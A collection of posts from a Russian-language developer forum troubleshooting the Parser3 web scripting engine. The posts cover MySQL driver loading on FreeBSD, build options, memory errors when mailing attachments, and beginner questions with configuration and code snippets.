"64155","Да, такие вещи как сишный рантайм используются многими приложениями, поэтому велика вероятность того, что эта библиотека уже загружена в память. Но тут есть одно маленькое но - рабочий объем процесса от этого не меняется, - менеджер памяти все равно отображает эту библиотеку в рабочий набор, экономится только общая память системы, но при нынешних объемах оперативки и ценах на неё, - это экономия на спичках.\
\
Ну и при линковке статически, банально выше скорость работы, т.к. менеджеру памяти надо делать меньше телодвижений, хотя это тоже спички.\
\
Ну а плюсы очевидны - нет проблем с зависимостями, работает всегда и везде."
"64156","в последнем инсталляторе клиентская библиотека от mysql 5.0. она существенно больше.\
\
причина, по которой клиентская библиотека была заменена: старая версия не поддерживает \"новый\" (ему уже лет пять по моему) протокод аутентификации, из-за чего в случае работы с новой версией mysql надо создавать пользователя с old password, однако это может не прокатить в случае подключения к серверам, где это запрещено. кроме того предполагается, что win32 версия парсера использутся как версия для разработки, где более важна совместимость, а не скорость. \
\
однако можете использовать старую версию клиентской библиотеки, всё должно работать. также можно использовать и старую версию драйвера mysql (API sql драйверов не менялся), однако в новом всё таки были сделаны небольшие изменения и лучше использовать его."
"64157","для чистоты эксперимента пробовали отключать антивирусы или устанавливать на чистой машине?"
"64158","прокомментировать не могу, т.к. не собирал сам для freebsd 6.x\
уточнить параметры сборки смогу только после праздников.\
\
и я правильно понял, что _собранный_нами_ парсер версии 321 работает, а 322 -- нет? или может используется какая-то другая сборка 321, например из раздела contrib?\
\
ну и до кучи вопрос: нет возможности попробовать собрать самому?"
"64159","Делал сайт на втором парсере, столкнулся с проблемой -- невозможно с помощью ^sendmail разослать письма по базе больше чем в 100 человек (не проходит).\
\
После этого парсер пришлось забросить. Сейчас хотел бы попробовать написать на 3-ем. Скажите, а в третьем парсере эту проблему можно обойти? И как вообще парсер справляется с серверами на которых 20.000-30.000 посетителей в сутки?"
"64160","-"
"64161","можно написать так, что не справится. и не только парсер не справится. но обычно проблем у сайтов с такой посещаемостью нет это примерно 1 запрос в 3 секунды)."
"64162","Я правильно понимаю -- чтобы делать новостные рассылки по подписчикам, которых несколько тысяч, нужно покупать свой сервер?"
"64163","Чтобы обеспечивать такой SMTP-трафик, вам в любом случае придётся заранее договариваться с провайдером. Будь у вас shared hosting или colocation - не важно."
"64164","Про версии всё правильно.\
\
После 200гр. самбуки удалось собрать without-xml.\
\
Результат тот же, что и у версии с сайта:\
can't open the module ./lib/libparser3mysql.so\
\
Может, есть какие-то волшебные опции?"
"64166","Стоит ли пытаться собрать дрова mysql? Или дело не в них?"
"64167","У-у-ффф ))\
Всё-таки сборка Парсера из исходников, на виртуальном хостинге, да еще и с тяжелого бодуна - это не для меня! )\
\
Помогла опция [b]--with-dynamic-stdcpp[/b]"
"64168","От системы не зависит.. не работает не только на win32, но и на хостинге с redhat linux.\
причем не работает конкретно $response:refresh\
$response:locate работает"
"64169","зарапортовался location конечно же..."
"64170","так ведь и старая библиотека работает с 5 mysql-ем, зато новая дает возможность подумать над тем правильно ли пишешь код, и дает время пойти попить кофе)) Облегчает работу программера в офисе))))))))"
"64173","я привел одну вещь, которая не работат со старой библиотекой. \
она -- не единственная.\
считаю, что разработчикам mysql виднее. кроме того клиентские библиотеки доступны -- качайте и работайте с какой больше нравится."
"64174","Ну, для меня и это -- как в космос слетать! :)\
\
+ была еще куча проблем по ходу дела.\
Скрипт почему-то отказывался разархивировать исходники gcc и xslt. Пришлось вручную это делать.\
Потом было \"make: permition denied\". Заюзал gmake.\
Собрал без XML.\
Стал собирать с XML -- собирается без. Сделал make clean -- та же фигня. Нашел на форуме, что нужно руками Makefile удалять.\
\
Вот так и получилось. Вроде, всё просто оказалось, но пока разобрался, два часа и прошло.\
\
А еще поправьте в http://www.parser.ru/download/src/ \"release_3_2_3\" на \"release_3_2_2\"..."
"64175","мы старались чтобы скрипты сборки работали везде.\
- почему не распаковывалось -- не подскажу\
- если исправляли make на gmake, то наверное и gmake clean надо было делать\
- исправлю верию только после праздников"
"64176","Вы не могли бы бинарник собранный прислать на \
real-regs {dog} yandex.ru  или выложить куда-нить?"
"64177","http://www.stopdesign.ru/t/parser3.cgi_3.2.2_w-xml_safe-mode\
http://www.stopdesign.ru/t/parser3.cgi_3.2.2_wo-xml_safe-mode"
"64179","Решилось с ошибкой сбиблиотеки БД, эт да. Но вот появилась ошибка в mail:send при отправке писма с аттачментом (7МБ) в кодировке base64. out of memory"
"64180","При попытке сделать так:\
\
[code]$file[^file::load[binary;/auto.p]]\
^mail:send[ \
	$.from[Вася <vasya@hotmail.ru>]\
	$.to[Йа <yayaya@yayayaya.ya>]\
	$.subject[как дела]\
	$.text[Как у тебя дела? У меня - изумительно!]\
	$.file[$file]\
][/code]\
\
новый Парсер выпадает в осадок с кодом 500.\
В лог пишет:\
\"Premature end of script headers: /путь/parser3/parser3.cgi\"\
\
Старый отправляет нормально.\
Если еделать так:\
\
[code]$file[^file::load[binary;/auto.p]]\
^mail:send[\
	$.from[Вася <vasya@hotmail.ru>]\
	$.to[Йа <yayaya@yayayaya.ya>]\
	$.subject[как дела]\
	$.text[Как у тебя дела? У меня - изумительно!]\
	$.file[\
	    $.value[$file]\
	    $.name[имя_файла]\
	    $.поле_заголовка[значение]\
	]\
][/code]\
\
То всё работает. Но только с маленькими файлами (до 1.5Мб)\
\
Двухмегобайтный файл выдает ошибку:\
[color=\"#cc5500\"]out of memory: failed to allocate clean 1024 bytes. heap_used=60940288, heap_free=0, bytes_since_gc=60868348, total_bytes=60868348[/color].\
\
Причем и в старом и в новом Парсере (3.2.2. vs 3.2.1sp2)."
"64181","тем не менее попробуйте указать у $.file опцию $.format[base64], она требует ещё меньше памяти, однако если 1.5 МБ файл не отправляется в uue, то 7 MB в base64 тоже не отправиться, там не в 5 раз выигрыш в памяти...\
\
P.S. отправку аттачментов в \"коротком\" варианте написания проверю только после праздников."
"64185","С $.format[base64] получше. Отправляет файл 2,5Мб и падает на 4,8Мб. Парсер 3.2.1 с base64 не проверял.\
\
Так это, наверное, у мастерхоста такие ограничения жесткие на память? (там вообще всё плохо стало в последнее время...)"
"64186","Если использую 3.2.2. официальный, то проблема с './lib/libparser3mysql.so', НО почта с вложением 7МБ и $.format[base64] отправляется отлично!"
"64187","Вот такой код отправляет на официальном 3.2.2 (но есть проблема с './lib/libparser3mysql.so' can't open the module), и вызывает out of memory на собранном [b]StopDesign[/b] 3.2.2\
\
[code]^mail:send[ \
	    $.options[-odd]\
	    $.from[<bla-bla-bla@mail.ru>] \
	    $.to[User <bla-bla-bla2000@yandex.ru>] \
	    $.subject[Test!] \
	    $.text[bla-bla-bla] \
$.file[\
    $.value[^file::load[binary;/for_send/info.rar]]\
    $.format[base64]\
]\
][/code]"
"64194","допустим на 3000 подписчиков нужно договариваться с провайдером, но почему на 100 человек не проходит рассылка?\
\
и вроде как у php-рассыльщиков такой проблемы нет"
"64196","У меня бывает случай, когда нужно поменять значение переменных в хэше $response:content-type.\
\
По умолчанию Parser использует text/html, но иногда нужно text/xml и даже application/xml.\
\
Так вот, как же это реализовано в Engine? Я заметил, что кодировка меняется легко, данные лежат в таблице lang. А MIME тип нигде в БД не числится, поэтому могу предположить, что это делают обработчики объекта/блоков."
"64198","Подскажите пожалуйста в чем может быть проблема. Описываю симптомы:\
\
1) При попытке обращения к БД mysql на экране ошибка, а в логах\
--\
[Sat Jan  5 03:18:11 2008] [63406] /site.html?id=8&sid=1: /usr/home/webserver/kombank.ru/classes/site.p(70:3):\
'./lib/libparser3mysql.so   /usr/local/lib/mysql/libmysqlclient.so' can't open the module [<no type>]\
[Sat Jan  5 03:18:39 2008] [63407] /site.html?id=8&sid=1: /usr/home/classes/site.p(70:3):\
'./lib/libparser3mysql.so' can't open the module [<no type>]\
--\
\
ОС FreeBSD 6\
parser-3.2.1  (собирал из src при помощи buildall-with-xml)\
parser3mysql 9.5 - бинарный (src не собирается. При выполнении команды\
make происходит следующее:\
--\
is of non-class type `int'\
parser3mysql.C:307: error: `sql_error' was not declared in this scope\
parser3mysql.C:316: error: request for member `before_rows' in `handlers', which\
 is of non-class type `int'\
parser3mysql.C:316: error: `sql_error' was not declared in this scope\
parser3mysql.C:319: error: request for member `add_row' in `handlers', which is\
of non-class type `int'\
parser3mysql.C:319: error: `sql_error' was not declared in this scope\
parser3mysql.C:338: error: request for member `add_row_cell' in `handlers', whic\
h is of non-class type `int'\
parser3mysql.C:338: error: `sql_error' was not declared in this scope\
parser3mysql.C:344: error: `sql_error' was not declared in this scope\
parser3mysql.C: At global scope:\
parser3mysql.C:430: error: expected constructor, destructor, or type conversion\
before '*' token\
*** Error code 1\
\
Stop in /root/parser/parser-3.2.1/sql/parser3mysql-9.5.\
*** Error code 1\
\
Stop in /root/parser/parser-3.2.1/sql/parser3mysql-9.5.\
*** Error code 1\
\
Stop in /root/parser/parser-3.2.1/sql/parser3mysql-9.5.\
Press any key to continue...\
--\
\
mysql:\
--\
mysql-client-4.0.27 Multithreaded SQL database (client)\
mysql-server-4.0.27 Multithreaded SQL database (server)\
\
--\
Пути вроде указывал. Может что-то в системе отсутствует?"
"64199","ситуаций, в которых требуется для единичных страниц выдать нестандартный для данного сайта content-type я знаю немного, если точнее, то только две: выдать xml javascript-у (ajax) или flash-у.\
\
ситуации, когда требуется отработать xml документа xslt шаблоном и при этом сформировать xml и отдать его -- в моей практике вообще редкость. дело в том, что проще сразу выдать готовый xml в необходимом формате.\
\
если в engine объекту не привязан xslt шаблон, то выдаётся xml и автоматически выдаётся content-type: text/xml (а не application/xml как ты упомянул).\
\
если нам надо таки сделать transform _и_ при этом установить content-type _не_ text/html (такое нам требовалось несколько раз за всё время использования), то делается это с помощью привязанного обработчика, который выдает нужный content-type. если content-type был установлен, то он не будет переопределён после трансформации."
"64203","Но сделал вывод, скорее изменю на твой подход.\
\
У меня объект Engine имеет свойства CHARSET и CONTENT-TYPE. Если нужно изменить второе свойство, то нужно добавить параметр для шаблона объекта, т.е. в templates.params бывает такое:\
[code]\
<content-type>text/xml</content-type>\
[/code]\
\
В моей реализации объект, не имеющий шаблона, не показывается снаружи. Т.е. его нет ни в списке меню сайта и при заходе по его пути (если же он указан) срабатывает 404 (error_object).\
\
Почему у меня так? Потому что я еще не смог представить такой ситуации, когда снаружи нужен будет виден XML-код с данными обычно используемыеми только в Engine, к примеру переменные веб-сервера (по желанию они у меня выдаются в общем XML)."
"64204","Сложно ответить, не видя кода и не зная, как вы осуществляете рассылку (одно письмо и три тыщи адресатов в BCC, три тыщи писем разом, умная queue или ещё как)."
"64205","Пытаюсь отправить форму которая имеет 14-15 полей используя JSHttpRequest, но получаю вот такую ошибку \"too much recursion\". В следствии чего окно немного зависает и естественно ничего не происходит.\
\
На сколько я понял JSHttpRequest загоняется в бесконечный loop, но тот же скрипт отправляет форму из 4-х полей вполне спокойно.\
\
может кто-то сталкивался с такой проблемой?\
\
собственно вот javascript:\
[code]\
function doPostForm(value,target) {\
    document.getElementById(target).innerHTML ='<center><img src=\"/images/loading.gif\" alt=\"Loading...\" border=\"0\"/></center>';\
    // Create new JsHttpRequest object.\
    var req = new JsHttpRequest();\
    // Code automatically called on load finishing.\
	switch(target){\
		case 'categories':\
			var file='_categories.html';\
			break;    \
		case 'products':\
			var file='_products.html';\
			break;\
		default:\
			var file='index.html';\
			break;\
	}\
    req.onreadystatechange = function() {\
        if (req.readyState == 4) {\
               // Write debug information too (output become responseText).\
		document.getElementById(target).innerHTML =req.responseText;\
		}\
    }\
    // Prepare request object (automatically choose GET or POST).\
    req.open(null, file, true);\
    // Send data to backend.\
    req.send( { q: value } );\
}\
[/code]\
\
ну и сама кнопка\
[code]\
<input type=\"button\" onClick=\"doPostForm(this.form,'products')\" value=\"Save\"/>[/code]"
"64206","а давайте посмотрим на сайт microsoft.com. там microsoft.com/rum и т.д. у вас как это будет в базе записано? редиректы не использовать :)"
"64207","переполнение стека, вероятно."
"64210","Можете поделиться кодом -- как правильно организовать рассылку и умную очередь?"
"64211","Тут форум работает немного подругому. Сначала ТЫ пишешь код, а когда у ТЕБЯ что-то не работает ТЫ его сюда выкладываешь и просишь о помощи или что-то еще посоветовать. \
Писать код за тебя тут никто не будет, это не freelance.ru."
"64212","возможно, у вас 64битный?"
"64213","я тоже за assert и throw в очень многих случаях.\
но в случае параметра функции, если функция расчитывает принять объект и работать с ним, я не вижу [b]никакого[/b] преимущества передавать по указателю.\
ссылка всем даёт понять, тут нужен объект и точка."
"64214","я тоже какое-то время думал, что smart pointers решат проблему работы с памятью.\
в природе даже [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/include/pa_memory.h?rev=1.1.2.9&only_with_tag=autoptr&content-type=text/vnd.viewcvs-markup\"]есть[/url] версия parser с их использованием.\
\
увы, классическая проблема кольцевых ссылок легко не решается (скажем, авторы python тоже думали, что smart pointers помогут, но в итоге применили и то и другое).\
\
я же решил остановиться на консервативной сборке мусора\
http://www.hpl.hp.com/personal/Hans_Boehm/gc/\
\
\
[quote]замедляет[/quote]\
это вопрос очень и очень спорный.\
я готов спорить и по отношению к времени выполнения.\
по отношению к времени разработки, полагаю, спорить желающих нет ;)\
\
категорически согласен, что сборка мусора не решает все проблемы.\
категорически согласен, что ручное управление памятью во многих случаях окупается.\
\
моя позиция: для данной задачи (parser) управляемая пользователем сборка мусора = [b]самое[/b] оно."
"64216","Действительно тут нет ничего плохого кроме читабельности кода. Вот так:\
[code]\
voig read(string& message);\
\
...\
\
string message;\
read(message);\
[/code]\
не очень понятно при беглом просмотре что происходит - то ли читается из параметра (входной), то ли в него (выходной). А вот так:\
[code]\
voig read(string* pMessage);\
\
...\
\
string message;\
read(&message);\
[/code]\
Сразу [b]явно[/b] видно что переменная может измениться, т.е. параметр явно выходной. Да за это приходится платить (-> вместо точки + проверки), но мне кажется это разумная плата за удобочитаемость. Короче говоря, указатели вместо ссылок - это из разряда постановки констант слева в предикатах.\
\
Ссылки в тему:\
http://www.joelonsoftware.com/articles/Wrong.html\
http://www.joelonsoftware.com/news/fog0000000215.html"
"64217","Да, действительно, это не панацея от всех бед, однако я не верю в единственное верное средство, которое решит все проблемы.\
\
Да при работе с умными указателями нужна дисциплина и понимание того, где их можно использовать, а где нельзя, но разве это не касается любых средств языка(библиотеки)?\
\
Кстати, а чем не устроил auto_ptr? да его нельзя использовать в STL контейнерах (так как при копировании оригинал разрушается), да нужно дисциплинированно (и фанатично) применять технику \"выделение ресурса есть инициализация\", но это нормально. Просто это инструмент который есть везде, ну и своего кода писать не надо."
"64218","Надеюсь, когда отпуска закончатся, кто-нибудь из специалистов соберет новый Парсер с опцией \"--with-dynamic-stdcpp\". На качество моей сборки надеяться не будем :-) Если и тогда останутся проблемы с отправкой больших вложений, то это уже будет баг, наверное..."
"64219","Попробовал заменить библиотеку, как рекомендуют в форуме на скачанную\
из файла\
ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-6-stable/All/mysql-client-4.0.27.tbz,\
но это не дало результатов.\
\
В моей папке \"/usr/local/lib/mysql/\" Доступны следующие компоненты.\
--\
\
-r--r--r--  1 root  wheel   10006 Jan  5 02:29 libdbug.a\
-r--r--r--  1 root  wheel   32154 Jan  5 02:29 libheap.a\
-r--r--r--  1 root  wheel   13416 Jan  5 02:29 libmerge.a\
-r--r--r--  1 root  wheel  256334 Jan  5 02:29 libmyisam.a\
-r--r--r--  1 root  wheel   23626 Jan  5 02:29 libmyisammrg.a\
-rw-r--r--  1 root  wheel  197148 Jan  5 02:17 libmysqlclient.a\
-rwxr-xr-x  1 root  wheel     860 Jan  5 02:17 libmysqlclient.la\
lrwxr-xr-x  1 root  wheel      20 Jan  5 02:17 libmysqlclient.so -> libmysqlclient.so.12\
nt.so.12\
-rwxr-xr-x  1 root  wheel  145206 Nov  4 17:12 libmysqlclient.so.12\
-rw-r--r--  1 root  wheel  203918 Jan  5 02:17 libmysqlclient_r.a\
-rwxr-xr-x  1 root  wheel     892 Jan  5 02:17 libmysqlclient_r.la\
lrwxr-xr-x  1 root  wheel      22 Jan  5 02:17 libmysqlclient_r.so -> libmysqlclnt.so.12\
ient_r.so.12\
-rwxr-xr-x  1 root  wheel  150678 Jan  5 02:17 libmysqlclient_r.so.12\
-r--r--r--  1 root  wheel   20618 Jan  5 02:29 libmystrings.a\
-r--r--r--  1 root  wheel  217848 Jan  5 02:29 libmysys.a\
-r--r--r--  1 root  wheel   96444 Jan  5 02:29 libnisam.a\
-r--r--r--  1 root  wheel    6044 Jan  5 02:29 libvio.a\
Press any key to continue...\
\
\
Мой auto.p из cgi-bin\
\
--\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       /usr/local/lib/mysql/libmysqlclient.so\
pgsql   $sqldriversdir/libparser3pgsql.so       libpq.so\
oracle  $sqldriversdir/libparser3oracle.so     \
/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext     mime-type\
zip     application/zip\
doc     application/msword\
xls     application/vnd.ms-excel\
pdf     application/pdf\
ppt     application/powerpoint\
rtf     application/rtf\
gif     image/gif\
jpg     image/jpeg\
png     image/png\
tif     image/tiff\
html    text/html\
htm     text/html\
txt     text/plain\
mts     application/metastream\
mid     audio/midi\
midi    audio/midi\
mp3     audio/mpeg\
ram     audio/x-pn-realaudio\
rpm     audio/x-pn-realaudio-plugin\
ra      audio/x-realaudio\
wav     audio/x-wav\
au      audio/basic\
mpg     video/mpeg\
avi     video/x-msvideo\
mov     video/quicktime\
swf     application/x-shockwave-flash\
}]\
\
$LIMITS[\
        $.post_max_size(10*0x400*0x400)\
]       \
\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
        <hr/>\
        <table>\
        ^stack.menu{\
                <tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
        }\
        </table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
^unhandled_exception_release[$exception;$stack]\
#^unhandled_exception_debug[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
$SQL.connect-string[mysql://xxx:squize@xxx/xxx]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD\
HH24:MI:SS] \
--"
"64220",">> Скажите, а возможно заставить parser выводить более детальную\
>> информацию об ошибке?\
\
> увы, я вывожу всё, что мне даёт OS: она просто НЕ выдаёт подробностей по\
> этой проблеме.\
\
> PAF\
\
Данное сообщение означает, что parser3mysql находит библиотеку\
libmysqlclient.so и имеет к ней доступ?"
"64224","вдумайтесь.\
[code]\
@method1[][local]\
$local[^table::sql{select id, title from news where ...}]\
$m_tNews[$local]\
\
@method2[]\
$m_tXXX[$m_tNews]\
$m_tYYY[$m_tNews]\
$m_tNews[]\
\
@method3[]\
$m_tYYY[]\
[/code]\
\
совершенно очевидно, что stl'ный auto_ptr, который имеет одного ответственного, в данном случае не катит.\
\
я привёл ссылку на ветку кода, где smart pointers использовались для refcounting.\
refcounting, конечно же, оказался проблематичен не только с точки зрения overhead, но и привнёс свою родовую травму: кольцевые ссылки (A->B, B->A даёт A.refcounter=1 и B.refcounter=1, т.е. оба объекта как бы нужны, когда на деле на них ссылок уже нет)."
"64225","ибо мне так не кажется.\
глядя в мой код надо всегда иметь в виду, что передаваемое может поменяться, и это в 99% так и есть.\
в каком другом проекте, менее специфичном, где соотношение \"меняют/не_меняют передаваемый объект\" более ровное, я с вами соглашусь!\
\
тут близким к идеальному способом вывернулась MS в C#:\
[code]\
void method(out string a_sMessage);\
...\
string message\
method(out message);\
[/code]\
(уверен, утянули откуда-нибудь. конкурс: откуда?)"
"64226","я тут вчитался в ваше сообщение (голова, пепел, сразу надо  было вчитаться).\
\
[code]\
'./lib/libparser3mysql.so /usr/local/lib/mysql/libmysqlclient.so'\
[/code]\
\
как-то плохо тут апострофы стоят, согласитесь.\
\
в auto.p между libparser3mysql.so и /usr/local/lib/mysql/libmysqlclient.so нужно поставить tab (сейчас там [b]злобный[/b] пробел)."
"64227","Да, в этом случае auto_ptr действительно не работает.  Ну а приведенную ситуацию с кольцевыми ссылками можно в принципе разрешать, только это очень накладно я думаю - надо строить граф, а это по сути тот же сборщик мусора :)"
"64228","Добавил апострофы.\
\
--\
до:\
[Tue Jan  8 20:52:36 2008] [91136] /site.html?id=5.01&sid=1: /usr/home/webserver/kombank.ru/classes/site.p(70:3): './lib/libparser3mysql.so' can't open the module [<no type>]\
\
после:\
\
[Tue Jan  8 20:54:39 2008] [91140] /site.html: /usr/home/webserver/kombank.ru/classes/site.p(70:3): ''./lib/libparser3mysql.so' can't open the module [<no type>]\
[Tue Jan  8 20:54:42 2008] [91141] /site.html: /usr/home/webserver/kombank.ru/classes/site.p(70:3): ''./lib/libparser3mysql.so' can't open the module [<no type>]\
--\
\
Пробелов между параметрами у меня не стояло.. Там был ТАБ. Выслал по почте исходник auto.p"
"64229","Приветствую господа!\
Скачал Ваш парсер с документацией, поставил, начал урок - html выводится без проблем, но вот какая байда - ссылки не выводятся. тоесть выводится пустая страница. Вот код auto.p:\
[code]\
@main[]\
^navigation[]\
\
@navigation[] \
$sections[^table::load[/sections.txt]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"center\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table>\
<br />\
[/code]\
Сам текстовый файл sections.txt:\
[code]\
section_id	name	uri\
1	Главная	/\
2	События	/news/\
3	Инфа	/group/\
4	Послушать	/music/\
5	Видео	/video/\
6	Фото	/photo/\
7	Общение	/talk/\
8	Ссылки	/links/\
9	Контакты	/contacts/\
[/code]\
1) Почему ничего не показывает, парсер работает - не выводятся только ссылки.\
2) Откуда берется (из ^sections.menu) - menu. Логичней было бы ^sections.section_id. Кстати сейчас попробую, но так написано в Вашей документации.\
3) Как строиться цикл в данном действии - он зашит уже в парсере?"
"64230","Извинтиляюсь, разобрался. Заработало, когда я перенес все это в index.html. Но тогда возникает вопрос - зачем нужен auto.p ???\
*.p для классов юзать мона - это я понял,а вот auto.p непонятно. Или это чисто для примера? Тогда пример некорректный."
"64231","Если в index.html не определен ни один метод парсера, то он не обрабатывается и выдается то, что в нем (index.html) есть как обычный html-код (у вас он был пустой, потому и ничего не отображалось). \
\
В вашем случае можно было бы код оставить в auto.p, а в index.html написать определение метода-пустышки, например @dummy[]"
"64232","Это вопрос почти философский (религиозный), и тут каждый делает как сам считает нужным (или как написано в стандартах кодирования в компании).\
\
Хотя константные ссылки я считаю одним из элементов перекладывания ненужной работы на компилятор. Пусть уж он трудится и помогает мне, как пусть и помогает синтаксис самого языка :)"
"64233","Имеется html таблица в которой содежание элемента id=\"row_24\" подгружается через JSHttpRequest. Обычно там содержится текст, а при нажатии \"Edit\" этот текст загружается в форму для редактирования. Однако почему-то при попытки передать значений формы нифига не передаётся.\
передавать пытаюсь таким макакром: \
[code]\
onClick=\"doReloadRow(this.form^rem{сюда попадают только\
 значения формы которые были \
определены изначально (test например), а все что было загружено как бы не существует},'row_24')\"\
[/code]\
ну и вот собственно вся форма:\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\" action=\"./\" name=\"frmManuf\" id=\"frmManuf\">\
<input name=\"test\" id=\"test\" value=\"test\" type=\"hidden\" />\
	<table>\
		<tr id=\"row_24\"> \
			<td nowrap=\"nowrap\">\
				<input name=\"name\" id=\"name\" value=\"Olga Bobrova\" type=\"text\" />\
			</td>\
			<td>\
				<input name=\"image\" id=\"image\" value=\"\" type=\"file\" />\
			</td>\
			<td>\
				<input name=\"url\" id=\"url\" value=\"http://ferrarinyc.com/\" type=\"text\" />\
			</td>\
 			<td align=\"center\">\
				<input value=\"Save\" class=\"button\" onclick=\"doReloadRow(this.form,'row_24')\" type=\"button\" />\
			</td>\
		</tr>\
	</table>\
</form>[/code]\
\
вопрос: Это так и должно быть или я что-то делаю неправильно?"
"64234","В index.html я определял навигацию [b]@navigation[][/b],\
но все равно не выводило. Спасибо сейчас попробую с [b]@dummy[][/b]"
"64235","Вот еще какой вопрос - как мне установить соединение с базой MySQL для формирования ссылок из базы? В php например можно так:\
[code]\
<?\
// *сервер базы данных*\
$dbhost=\"localhost\";\
\
// *имя базы данных*\
$dbname=\"demo\";\
\
// *имя пользователя базы данных*\
$dbuser=\"root\";\
\
// *пароль пользователя базы данных*\
$dbpass=\"\";\
\
  if (!($soedinenie=mysql_connect($dbhost,$dbuser,$dbpass))) \
    {\
      printf(\"Ошибка при соединении с MySQL !\\n\");\
      exit();\
  }\
  if (!mysql_select_db($dbname, $soedinenie)) \
    {\
      printf(\"Ошибка базы данных !\");\
      exit();\
  } \
\
  $zapros=\"SELECT * FROM `еуые` ORDER BY name\";\
  $result=mysql_query($zapros, $soedinenie) or die('Невозможно сделать запрос');\
  while ($row = mysql_fetch_assoc($result)) \
       {\
         тут действия в цикле \
       }\
\
  mysql_close($soedinenie);\
?>\
[/code]\
А как на парсере сделать тоже самое?"
"64236","P.S. последующие ваши вопросы, на которые ответы имеются в первых 6 уроках и FAQ будут удаляться. не обижайтесь."
"64237","вам указали что в вашем сообщении из лога строка в апострофах, на которую ругается парсер содержим и путь к драйверу и путь к клиентской библиотеке. это -- неправильно.\
\
однако в следующей строке из лога уже сообщение об ошибке более адекватное.\
\
ничего кроме как искать библиотеку (32-битную), которая заработает на вашей системе мнев голову не приходит."
"64238","Уж извините Misha версия 3 :-)))) Но вопросы будут.\
1) В документации Урок 2 прерван и не доведен до конца. Вывода меню навигации из базы данных нету. Скачем со второго урока на четвертый, видимо в Уроке 3 календарь уж настолько важен, что без него ну никак низяяя :-))))))\
2) А теперь по существу:\
   а) Как завершать соединение с базой MySQL, после выполнения определенных действий - равнозначное в php - mysql_close.\
   б) Кодировка не пашет - из базы выводится в виде \"??????ля-ля???\", как правильно скорректировать CHARSET минимальными действиями.\
Вот пример вывода ссылок из базы:\
[code]\
# Файл .htaccess\
AddType application/x-httpd-php .asp\
AddHandler application/x-httpd-php asp\
\
DirectoryIndex index.asp\
\
AddHandler parsed-html asp\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg|conf|class)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
# Файл index.asp\
@main[]\
^ссылки[]\
\
@ссылки[]\
^connect[$connect_string]{ \
   $links[^table::sql{select \
       id, name \
    from \
      demo \
   where \
     id > 0 ORDER by name \
   }] \
   ^if($links){ \
      ^links.menu{ \
         <a href=\"index.asp?id=$links.id\">$links.name</a><br /> \
      }[<br />] \
   }{ \
      Фигушки тебе - ничего не найдено. \
   } \
} \
[/code]"
"64239","Нашел кодировку в самом конце документации \"Приложение 3\".\
[code]\
@auto[] \
$connect_string[mysql://root@localhost/demo?charset=cp1251_koi8&]\
[/code]\
